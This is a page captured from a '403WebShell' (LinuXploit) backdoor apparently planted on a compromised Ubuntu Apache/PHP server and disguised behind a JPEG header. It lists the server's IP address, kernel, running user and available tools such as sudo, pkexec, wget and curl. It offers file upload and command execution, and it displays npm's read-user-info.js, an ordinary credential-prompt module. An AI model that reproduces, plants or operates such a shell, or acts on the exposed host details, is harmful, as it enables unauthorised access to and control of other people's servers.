????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.137.185.239
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lib/node_modules/npm/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lib/node_modules/npm/lib/utils/read-user-info.js
const { promisify } = require('util')
const readAsync = promisify(require('read'))
const userValidate = require('npm-user-validate')
const log = require('npmlog')

exports.otp = readOTP
exports.password = readPassword
exports.username = readUsername
exports.email = readEmail

const otpPrompt = `This command requires a one-time password (OTP) from your authenticator app.
Enter one below. You can also pass one on the command line by appending --otp=123456.
For more information, see:
https://docs.npmjs.com/getting-started/using-two-factor-authentication
Enter OTP: `
const passwordPrompt = 'npm password: '
const usernamePrompt = 'npm username: '
const emailPrompt = 'email (this IS public): '

function read (opts) {
  log.clearProgress()
  return readAsync(opts).finally(() => log.showProgress())
}

function readOTP (msg = otpPrompt, otp, isRetry) {
  if (isRetry && otp && /^[\d ]+$|^[A-Fa-f0-9]{64,64}$/.test(otp))
    return otp.replace(/\s+/g, '')

  return read({ prompt: msg, default: otp || '' })
    .then((otp) => readOTP(msg, otp, true))
}

function readPassword (msg = passwordPrompt, password, isRetry) {
  if (isRetry && password)
    return password

  return read({ prompt: msg, silent: true, default: password || '' })
    .then((password) => readPassword(msg, password, true))
}

function readUsername (msg = usernamePrompt, username, opts = {}, isRetry) {
  if (isRetry && username) {
    const error = userValidate.username(username)
    if (error)
      opts.log && opts.log.warn(error.message)
    else
      return Promise.resolve(username.trim())
  }

  return read({ prompt: msg, default: username || '' })
    .then((username) => readUsername(msg, username, opts, true))
}

function readEmail (msg = emailPrompt, email, opts = {}, isRetry) {
  if (isRetry && email) {
    const error = userValidate.email(email)
    if (error)
      opts.log && opts.log.warn(error.message)
    else
      return email.trim()
  }

  return read({ prompt: msg, default: email || '' })
    .then((username) => readEmail(msg, username, opts, true))
}

Youez - 2016 - github.com/yon3zu
LinuXploit